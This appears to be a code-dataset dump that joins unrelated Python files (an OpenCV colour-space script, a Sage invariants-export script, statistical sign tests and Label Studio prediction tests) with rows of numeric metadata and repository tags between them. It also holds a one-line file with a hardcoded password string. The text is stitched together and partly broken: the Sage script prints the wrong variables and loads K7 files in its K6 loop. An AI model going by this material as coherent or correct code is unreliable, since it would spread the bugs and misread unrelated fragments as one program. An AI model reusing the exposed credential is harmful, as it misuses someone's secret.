cv2.COLOR_BGR2HSV) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ YCrCb JPEG (or YCC) def rgb_ycrcb(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, cv2.COLOR_BGR2YCrCb) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ HLS def rgb_hls(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, cv2.COLOR_BGR2HLS) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) #RGB ↔ CIE L*u*v* def rgb_luv(images_path, image_height, image_width): imges_list = [] for image in tqdm(os.listdir(images_path)): path = os.path.join(images_path, image) image = cv2.imread(path) image = cv2.cvtColor(image, cv2.COLOR_BGR2Luv) image = cv2.resize(image , (image_height, image_width)) imges_list.append([np.array(image)]) shuffle(imges_list) #Convert List Into Array array_image = np.array(imges_list) #Removed Dimention images = array_image[:,0,:,:] return(images) if __name__ == "__main__": images(images_path, image_height, image_width) rgb_gray(images_path, image_height, image_width) rgb_lab(images_path, image_height, image_width) rgb_hsv(images_path, image_height, image_width) rgb_ycrcb(images_path, image_height, image_width) rgb_hls(images_path, image_height, image_width) rgb_luv(images_path, image_height, image_width) #OUTPUT : ''' Enter Image Folder Path : /media/sujit/92EC423BEC4219BD/GitHub Preoject/ALL ML PROJECT/Face Mask Detection/face mask detection dataset/test/without mask Enter The Image Size [32, 64, 128] : 32 Enter The Image Size [32, 64, 128] : 32 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:00<00:00, 324.93it/s] (186, 32, 32, 3) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:00<00:00, 277.42it/s] (186, 32, 32) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:01<00:00, 112.84it/s] (186, 32, 32, 3) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:00<00:00, 280.89it/s] (186, 32, 32, 3) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:00<00:00, 284.85it/s] (186, 32, 32, 3) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:01<00:00, 157.17it/s] (186, 32, 32, 3) 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 186/186 [00:01<00:00, 181.75it/s] (186, 32, 32, 3) '''
34.075
197
0.563316
853
6,815
5.624853
0.15592
0.062526
0.065652
0.091913
0.872864
0.865361
0.864944
0.855982
0.702584
0.689246
0
0.057915
0.163903
6,815
200
198
34.075
0.590207
0.116948
0
0.707071
0
0
0.002004
0
0
0
0
0
0
1
0.070707
false
0
0.050505
0
0.121212
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a2bce8d02fc1feec3e947e71a8c64f3c998e11ad
5,548
py
Python
misc/old_data_to_text_files.py
scottsha/compute-n-loop
8a810751bf14eb7e5ca58325ac9e724c604c455c
[ "MIT" ]
null
null
null
misc/old_data_to_text_files.py
scottsha/compute-n-loop
8a810751bf14eb7e5ca58325ac9e724c604c455c
[ "MIT" ]
null
null
null
misc/old_data_to_text_files.py
scottsha/compute-n-loop
8a810751bf14eb7e5ca58325ac9e724c604c455c
[ "MIT" ]
null
null
null
from sage.all_cmdline import * #K2 for m in range(1,2): name = 'K2_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] fourloop = nz[0][3] fiveloop = nz[0][4] textfile = open('../results/Text/' + name + '.txt','w') print('#Manifold'+name, file=textfile) print('#Number Field', file=textfile) print('%s \n' %str(numfield), file=textfile) print('#Shape Parameters', file=textfile) for shape in shapes: print('%s' %str(shape), file=textfile) print(file=textfile) print('#A Gluing Matrix', file=textfile) print(A, file=textfile) print(file=textfile) print('#B Gluing Matrix', file=textfile) print(B, file=textfile) print(file=textfile) print('#nu Gluing Vector', file=textfile) print(nu.column(), file=textfile) print(file=textfile) print('#f Combinatorial flattening', file=textfile) print(nu.column(), file=textfile) print(file=textfile) print('#f\' Combinatorial flattening', file=textfile) print(nu.column(), file=textfile) print(file=textfile) print('#One Loop Invariant', file=textfile) print(oneloop, file=textfile) print(file=textfile) print('#Two Loop Invariant', file=textfile) print(twoloop, file=textfile) print(file=textfile) print('#Three Loop Invariant', file=textfile) print(threeloop, file=textfile) print(file=textfile) print('#Four Loop Invariant', file=textfile) print(fourloop, file=textfile) print(file=textfile) print('#Five Loop Invariant', file=textfile) print(fiveloop, file=textfile) textfile.close() #K3 for m in range(1,3): name = 'K3_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] fourloop = nz[0][3] fiveloop = nz[0][4] textfile = open('../results/Text/' + name + '.txt','w') #Write the textfile here using however formatting you wish #Note that nu, f, and fp should be transposed. idk how you want to handle that. I'd just ignore it? #Also note that shapes is a list and you might wish to print them all out one by one. there is one shape per tetra. so any loop will have to be that long textfile.close() #K4 for m in range(1,5): name = 'K4_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] fourloop = nz[0][3] fiveloop = nz[0][4] textfile = open('../results/Text/' + name + '.txt','w') #Write the textfile here using however formatting you wish #Note that nu, f, and fp should be transposed. idk how you want to handle that. I'd just ignore it? #Also note that shapes is a list and you might wish to print them all out one by one. there is one shape per tetra. so any loop will have to be that long textfile.close() #K5 for m in range(1,23): name = 'K5_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] fourloop = nz[0][3] fiveloop = nz[0][4] textfile = open('../results/Text/' + name + '.txt','w') #Write the textfile here using however formatting you wish #Note that nu, f, and fp should be transposed. idk how you want to handle that. I'd just ignore it? #Also note that shapes is a list and you might wish to print them all out one by one. there is one shape per tetra. so any loop will have to be that long textfile.close() #K6 for m in range(1,44): name = 'K7_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] textfile = open('../results/Text/' + name + '.txt','w') #Write the textfile here using however formatting you wish #Note that nu, f, and fp should be transposed. idk how you want to handle that. I'd just ignore it? #Also note that shapes is a list and you might wish to print them all out one by one. there is one shape per tetra. so any loop will have to be that long textfile.close() #K7 for m in range(1,130): name = 'K7_%d' %m nz = load('../results/' + name + '_invariants.sobj') numfield = nz[1][5] shapes = nz[1][6] A = nz[1][0] B = nz[1][1] nu = nz[1][2] f = nz[1][3] fp = nz[1][4] oneloop = nz[0][0] twoloop = nz[0][1] threeloop = nz[0][2] textfile = open('../results/Text/' + name + '.txt','w') #Write the textfile here using however formatting you wish #Note that nu, f, and fp should be transposed. idk how you want to handle that. I'd just ignore it? #Also note that shapes is a list and you might wish to print them all out one by one. there is one shape per tetra. so any loop will have to be that long textfile.close()
31.702857
157
0.600577
918
5,548
3.615468
0.120915
0.037963
0.169027
0.063272
0.903585
0.819223
0.747514
0.747514
0.747514
0.747514
0
0.039103
0.244052
5,548
174
158
31.885057
0.752265
0.278839
0
0.748148
0
0
0.136181
0
0
0
0
0
0
1
0
false
0
0.007407
0
0.007407
0.259259
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a2f1ea46acabeb7373ea9755cb590d956b90b1e6
44
py
Python
parameters_443.py
varshit97/placement-website
ba25b174d1ae8d6fb1cbd8099f9d7b31d9091d80
[ "BSD-3-Clause" ]
null
null
null
parameters_443.py
varshit97/placement-website
ba25b174d1ae8d6fb1cbd8099f9d7b31d9091d80
[ "BSD-3-Clause" ]
null
null
null
parameters_443.py
varshit97/placement-website
ba25b174d1ae8d6fb1cbd8099f9d7b31d9091d80
[ "BSD-3-Clause" ]
null
null
null
password="89acf4d9ddfadf4e24e3432fa5f8d718"
22
43
0.909091
2
44
20
1
0
0
0
0
0
0
0
0
0
0
0.372093
0.022727
44
1
44
44
0.55814
0
0
0
0
0
0.727273
0.727273
0
0
0
0
0
1
0
false
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
a2fc49bf73bafb1cc35ade3889710177f15d8474
3,586
py
Python
sing_test.py
vishalbpatil1/sing_test_statistics_python
b32d3176d47769e71bec277f758799c033da87a4
[ "MIT" ]
null
null
null
sing_test.py
vishalbpatil1/sing_test_statistics_python
b32d3176d47769e71bec277f758799c033da87a4
[ "MIT" ]
null
null
null
sing_test.py
vishalbpatil1/sing_test_statistics_python
b32d3176d47769e71bec277f758799c033da87a4
[ "MIT" ]
null
null
null
# non -parametric sign test for sinle samall sample import numpy as np import pandas as pd from scipy.stats import binom x=np.array([119,120,125,122,118,117,126,114,115,123,121,120,124,127,126]) M=120 differ=x-M # difference array T1=sum(x>M) #No of positive sign A=(x>M) T2=sum(x<M) # No of negative sign B=(x<M) T=min(T1,T2) # No of fever sign N=T1+T2 P=binom.cdf(T,N,0.5) D=pd.DataFrame({'Sample(x)':x,'Differnce':differ,'- sign':A,'+ sign':B}) print(D) # gives data frame print('P_value=%.3f'%(P)) alpha= 0.05 print('Level_of_significance=%.3f'%(alpha)) if P>alpha: print('Accept Ho at 5% level of significance') print ('RESULT:-120 is population median of give sample x') else: print('reject Ho at 5% level of significance') print ('RESULT:-120 is not population median of give sample x') # non -parametric sign test for Two samall sample x=np.array([70,69,72,74,66,68,69,70,71,69,73,72,68,72,67]) y=np.array([69,72,71,74,68,67,72,72,72,70,75,73,71,72,69]) d=x-y # difference array T1=sum(d>0) #No of positive sign A=(d>0) T2=sum(d<0) # No of negative sign B=(d<0) T=min(T1,T2) # No of fever sign N=T1+T2 P=binom.cdf(T,N,0.5) D=pd.DataFrame({'Sample1(x)':x,'Sample2(y)':y,'Differnce':d,'- sign':A,'+ sign':B}) print(D) # gives data frame print('p_value=%.3f'%(P)) alpha= 0.05 print('Level_of_significance=%.3f'%(alpha)) if P>alpha: print('Accept Ho at 5% level of significance') print ('RESULT:-Population median of both sample are same') else: print('reject Ho at 5% level of significance') print ('RESULT:-Population median of both sample are different') # non -parametric sign test for sinle large sample n>20 x=np.array([119,120,125,122,118,117,126,114,115,123,121,120,124,127,126]) M=120 differ=x-M # difference array T1=sum(x>M) #No of positive sign A=(x>M) T2=sum(x<M) # No of negative sign B=(x<M) T=min(T1,T2) # No of fever sign N=len(x) mu=N/2 sigma=np.sqrt(N/4) calZ=np.abs((T-mu)/sigma) D=pd.DataFrame({'Sample(x)':x,'Differnce':differ,'- sign':A,'+ sign':B}) print(D) # gives data frame print('Calulated value of Z=%.3f'%(calZ)) tabZ= 1.96 print('Tabulated value of Z=%.3f'%(tabZ)) if calZ<tabZ: print('Accept Ho at 5% level of significance') print ('RESULT:-120 is population median of give sample x') else: print('reject Ho at 5% level of significance') print ('RESULT:-120 is not population median of give sample x') # sign test for large paired sample x=np.array([108,104,103,112,99,105,102,112,119,106,125,96,107,115,101,110, 103,105,124,113,111,100,122,124,104,97,112,109,119,101]) y=np.array([103,116,106,104,99,94,110,128,106,103,120,98,117,130,100,101,96, 99,120,116,100,101,108,118,95,100,105,103,99,95]) d=x-y # difference array T1=sum(d>0) #No of positive sign A=(d>0) T2=sum(d<0) # No of negative sign B=(d<0) T=min(T1,T2) # No of fever sign N=len(x) mu=N/2 sigma=np.sqrt(N/4) calZ=np.abs((T-mu)/sigma) D=pd.DataFrame({'Sample1(x)':x,'Sample2(y)':y,'Differnce':d,'- sign':A,'+ sign':B}) print(D) # gives data frame print('Calulated value of Z=%.3f'%(calZ)) tabZ= 1.96 print('Tabulated value of Z=%.3f'%(tabZ)) if calZ<tabZ: print('Accept Ho at 5% level of significance') print ('RESULT:-Population median of both sample are same') else: print('reject Ho at 5% level of significance') print ('RESULT:-Population median of both sample are different.')
30.913793
84
0.638595
675
3,586
3.383704
0.2
0.021016
0.083187
0.035026
0.830998
0.82049
0.795096
0.795096
0.795096
0.795096
0
0.139288
0.185165
3,586
115
85
31.182609
0.642368
0.155605
0
0.860215
0
0
0.355656
0.018043
0
0
0
0
0
1
0
false
0
0.032258
0
0.032258
0.301075
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a73f77e8c9cc02d8d67353c274dfaef5081e7be0
20,548
py
Python
label_studio/tests/test_predictions.py
xhuaustc/label-studio
b787824a9e16f488a9b4cd2cef83e1ac526a64f3
[ "Apache-2.0" ]
3
2021-07-16T03:48:21.000Z
2022-01-10T04:58:25.000Z
label_studio/tests/test_predictions.py
xhuaustc/label-studio
b787824a9e16f488a9b4cd2cef83e1ac526a64f3
[ "Apache-2.0" ]
6
2022-02-21T15:19:35.000Z
2022-03-07T15:25:16.000Z
label_studio/tests/test_predictions.py
xhuaustc/label-studio
b787824a9e16f488a9b4cd2cef83e1ac526a64f3
[ "Apache-2.0" ]
1
2021-08-18T15:07:47.000Z
2021-08-18T15:07:47.000Z
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license. """ import pytest import requests_mock import json from projects.models import Project from ml.models import MLBackend from tasks.models import Task, Prediction, Annotation from .utils import make_project from core.redis import redis_healthcheck _project_for_text_choices_onto_A_B_classes = dict( title='Test', label_config=''' <View> <Text name="meta_info" value="$meta_info"></Text> <Text name="text" value="$text"></Text> <Choices name="text_class" toName="text" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ) _2_tasks_with_textA_and_textB = [ {'meta_info': 'meta info A', 'text': 'text A'}, {'meta_info': 'meta info B', 'text': 'text B'} ] _2_prediction_results_for_textA_textB = [{ 'result': [{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_A'], 'start': 0, 'end': 1}}], 'score': 0.95 }, { 'result': [{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_B'], 'start': 0, 'end': 1}}], 'score': 0.59 }] def run_task_predictions(client, project, mocker): class TestJob: def __init__(self, job_id): self.id = job_id m = MLBackend.objects.filter(project=project.id).filter(url='http://localhost:8999').first() return client.post(f'/api/ml/{m.id}/predict') @pytest.mark.skipif(not redis_healthcheck(), reason='Starting predictions requires Redis server enabled') @pytest.mark.parametrize( 'project_config, tasks, annotations, prediction_results, log_messages, model_version_in_request, use_ground_truth', [( # project config _project_for_text_choices_onto_A_B_classes, # tasks _2_tasks_with_textA_and_textB, # annotations [ dict( result=[{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_A'], 'start': 0, 'end': 1}}], ground_truth=True ), dict( result=[{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_B'], 'start': 0, 'end': 1}}], ground_truth=True ), ], # prediction results _2_prediction_results_for_textA_textB, # log messages None, # model version in request '12345', False ), ( # project config _project_for_text_choices_onto_A_B_classes, # tasks _2_tasks_with_textA_and_textB, # annotations [ dict( result=[{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_A'], 'start': 0, 'end': 1}}], ground_truth=True ), dict( result=[{'from_name': 'text_class', 'to_name': 'text', 'type': 'labels', 'value': {'labels': ['class_B'], 'start': 0, 'end': 1}}], ground_truth=True ), ], # prediction results _2_prediction_results_for_textA_textB, # log messages None, # model version in request '12345', True )]) @pytest.mark.django_db def test_predictions( business_client, project_config, tasks, annotations, prediction_results, log_messages, model_version_in_request, use_ground_truth, mocker ): # create project with predefined task set project = make_project(project_config, business_client.user) for task, annotation in zip(tasks, annotations): t = Task.objects.create(data=task, project=project) if use_ground_truth: Annotation.objects.create(task=t, **annotation) # run prediction with requests_mock.Mocker() as m: m.post( 'http://localhost:8999/setup', text=json.dumps({'model_version': model_version_in_request}) ) m.post( 'http://localhost:8999/predict', text=json.dumps({ 'results': prediction_results[:1], 'model_version': model_version_in_request }) ) r = run_task_predictions(business_client, project, mocker) assert r.status_code == 200 assert m.called # check whether stats are created predictions = Prediction.objects.all() project = Project.objects.get(id=project.id) ml_backend = MLBackend.objects.get(url='http://localhost:8999') assert predictions.count() == len(tasks) for actual_prediction, expected_prediction_result in zip(predictions, prediction_results): assert actual_prediction.result == prediction_results[0]['result'] assert actual_prediction.score == prediction_results[0]['score'] assert ml_backend.model_version == actual_prediction.model_version @pytest.mark.skipif(not redis_healthcheck(), reason='Starting predictions requires Redis server enabled') @pytest.mark.parametrize('test_name, project_config, setup_returns_model_version, tasks, annotations, ' 'input_predictions, prediction_call_count, num_project_stats, num_ground_truth_in_stats, ' 'num_ground_truth_fit_predictions', [ ( # test name just for reference 'All predictions are outdated, project.model_version is outdated too', # project config: contains old model version dict( title='Test', model_version='12345_old', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # predictions: 2 predictions are from old model version [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345_old' }, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_B']}}], 'score': 0.59, 'model_version': '12345_old' }], # prediction call count is 2 for both tasks with old predictions 2, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'All predictions are up-to-date', # project config: contains actual model version dict( title='Test', model_version='12345_old', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # predictions: 2 predictions are from old model version [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_B']}}], 'score': 0.59, 'model_version': '12345' }], # prediction call count is 0 since predictions are up to date 0, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some predictions are outdated, other are up-to-date. project.model_version is up-to-date', # project config: contains actual model version dict( title='Test', model_version='12345', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # predictions: 2 predictions, one from the new model version, second from old [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_B']}}], 'score': 0.59, 'model_version': '12345_old' }], # prediction call count is 1 only for the task with old predictions 1, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some predictions are outdated, other are up-to-date. project.model_version is outdated', # project config: contains actual model version dict( title='Test', model_version='12345_old', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # predictions: 2 predictions, one from the new model version, second from old [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_B']}}], 'score': 0.59, 'model_version': '12345_old' }], # prediction call count is 1 only for the task with old predictions 1, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'All tasks has no predictions', # project config: contains actual model version dict( title='Test', model_version='12345', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # there is no any predictions yet [None, None], # prediction call count for all tasks without predictions 2, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some tasks has no predictions, others are up-to-date', # project config: contains actual model version dict( title='Test', model_version='12345', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # there is only one prediction (since job has finished before processing all tasks) [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, None], # prediction call count for all tasks without predictions 1, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some tasks has no predictions, others are up-to-date, labeled task contains ground_truth', # project config: contains actual model version dict( title='Test', model_version='12345', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: first task has fitted ground_truth [None, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'ground_truth': True }], # there is only one prediction (since job has finished before processing all tasks) [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, None], # prediction call count for all tasks without predictions 1, # ground_truth stats 1, 1, 1 ), ( # test name just for reference 'Some tasks has no predictions, others are outdated', # project config: contains actual model version dict( title='Test', model_version='12345', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # there is only one prediction (since job has finished before processing all tasks) [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345_old' }, None], # prediction call count for all tasks without up-to-date predictions 2, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some tasks has no predictions, others are outdated, project.model_version is outdated', # project config: contains actual model version dict( title='Test', model_version='12345_old', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None], # there is only one prediction (since job has finished before processing all tasks) [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345_old' }, None], # prediction call count for all tasks without up-to-date predictions 2, # ground_truth stats 0, 0, 0 ), ( # test name just for reference 'Some tasks has no predictions, others are outdated, others are up-to-date', # project config: contains actual model version dict( title='Test', model_version='12345_old', label_config=''' <View> <Text name="txt" value="$text"></Text> <Choices name="cls" toName="txt" choice="single"> <Choice value="class_A"></Choice> <Choice value="class_B"></Choice> </Choices> </View>''' ), # setup API returns this model version '12345', # task data [ {'text': 'text A'}, {'text': 'text A'}, {'text': 'text B'} ], # annotations: there is no any annotations [None, None, None], # there is only one prediction (since job has finished before processing all tasks) [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345_old' }, { 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 0.95, 'model_version': '12345' }, None], # prediction call count for all tasks without up-to-date predictions 2, # ground_truth stats 0, 0, 0 ), ]) @pytest.mark.django_db def test_predictions_with_partially_predicted_tasks( business_client, test_name, setup_returns_model_version, project_config, tasks, annotations, input_predictions, prediction_call_count, num_project_stats, num_ground_truth_in_stats, num_ground_truth_fit_predictions, mocker ): project = make_project(project_config, business_client.user) ml_backend = MLBackend.objects.get(url='http://localhost:8999') ml_backend.model_version = project_config['model_version'] ml_backend.save() for task, annotation, prediction in zip(tasks, annotations, input_predictions): task_obj = Task.objects.create(project=project, data=task) if annotation is not None: Annotation.objects.create(task=task_obj, **annotation) if prediction is not None: Prediction.objects.create(task=task_obj, **prediction) # run prediction with requests_mock.Mocker() as m: m.register_uri('POST', 'http://localhost:8999/setup', text=json.dumps({'model_version': setup_returns_model_version})) # noqa m.register_uri('POST', 'http://localhost:8999/predict', text=json.dumps({ 'results': [{ 'result': [{'from_name': 'cls', 'to_name': 'txt', 'type': 'choices', 'value': {'choices': ['class_A']}}], 'score': 1 }], 'model_version': setup_returns_model_version })) r = run_task_predictions(business_client, project, mocker) assert r.status_code == 200 assert len(list(filter(lambda h: h.url.endswith('predict'), m.request_history))) == prediction_call_count assert Prediction.objects.filter(task__project=project.id, model_version=setup_returns_model_version).count() == len(tasks) assert MLBackend.objects.get(url='http://localhost:8999').model_version == setup_returns_model_version
33.740558
168
0.546866
2,254
20,548
4.818988
0.089175
0.081753
0.053213
0.025041
0.820015
0.809151
0.785951
0.770208
0.753268
0.724636
0
0.023922
0.312391
20,548
608
169
33.796053
0.744851
0.175346
0
0.707657
0
0.00232
0.370087
0.062107
0
0
0
0
0.023202
1
0.009281
false
0
0.018561
0
0.032483
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a78994f73341bc4d7b67a89ea0c2fb7eafffe164
1,443
py
Python
LeArm code/LeArmSerial/com01.py
iamNCJ/ZKCup2019
6f4282831cdc8ad74d420526ed52da8dc74c1f79
[ "MIT" ]
3
2019-05-12T11:30:38.000Z
2019-11-22T14:54:15.000Z
LeArm code/LeArmSerial/com01.py
iamNCJ/ZKCup2019
6f4282831cdc8ad74d420526ed52da8dc74c1f79
[ "MIT" ]
null
null
null
LeArm code/LeArmSerial/com01.py
iamNCJ/ZKCup2019
6f4282831cdc8ad74d420526ed52da8dc74c1f79
[ "MIT" ]
null
null
null
